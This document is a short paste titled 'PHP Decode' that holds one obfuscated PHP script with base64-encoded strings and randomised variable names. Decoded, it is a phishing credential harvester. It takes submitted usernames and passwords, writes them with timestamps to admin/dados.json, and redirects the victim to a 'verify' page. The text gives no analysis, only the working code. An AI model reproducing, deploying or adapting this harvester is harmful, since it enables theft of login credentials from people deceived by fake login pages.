PHP Decode

<?php if($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')]===base64_decode('UE9TVA==')){$ddyukprr_ee11cbb19052e40b07aac0ca060c23ee=$_POST[base64_decode('dXNlcg==')]?? '';$iofjqokh_1a1dc91c907325c69271ddf0c944bc72=$_POST[base64_decode('cGFzcw==')]?? '';$huqnipbg_8d777f385d3dfec8815d20f7496026dc=[base64_decode('VXN1YXJpbw==')=>$ddyukprr_ee11cbb19052e40b07aac0ca060c23ee,base64_decode('U2VuaGE=')=>$iofjqokh_1a1dc91c907325c69271ddf0c944bc72,base64_decode('SG9yYQ==')=>date(base64_decode('WS1tLWQgSDppOnM='))];$qjhtnums_8c7dd922ad47494fc02c388e12c00eac=base64_decode('YWRtaW4vZGFkb3MuanNvbg==');if(file_exists($qjhtnums_8c7dd922ad47494fc02c388e12c00eac)){$brfneaoz_bf2a3955e499ab8a6907133039a098c1=file_get_contents($qjhtnums_8c7dd922ad47494fc02c388e12c00eac);$jrajufxy_be92211b0821b7841de524c7fa15331d=json_decode($brfneaoz_bf2a3955e499ab8a6907133039a098c1,true);$jrajufxy_be92211b0821b7841de524c7fa15331d[]=$huqnipbg_8d777f385d3dfec8815d20f7496026dc;}else{$jrajufxy_be92211b0821b7841de524c7fa15331d=[$huqnipbg_8d777f385d3dfec8815d20f7496026dc];}$yfwtryxe_466deec76ecdf5fca6d38571f6324d54=json_encode($jrajufxy_be92211b0821b7841de524c7fa15331d,JSON_PRETTY_PRINT);file_put_contents($qjhtnums_8c7dd922ad47494fc02c388e12c00eac,$yfwtryxe_466deec76ecdf5fca6d38571f6324d54);header(base64_decode('TG9jYXRpb246IHZlcmlmeS5odG1sP3lmeHo9ZGV2cw=='));exit;}else{header(base64_decode('TG9jYXRpb246IGluZGV4Lmh0bWw/ZXJybz10cnVl'));exit;}?>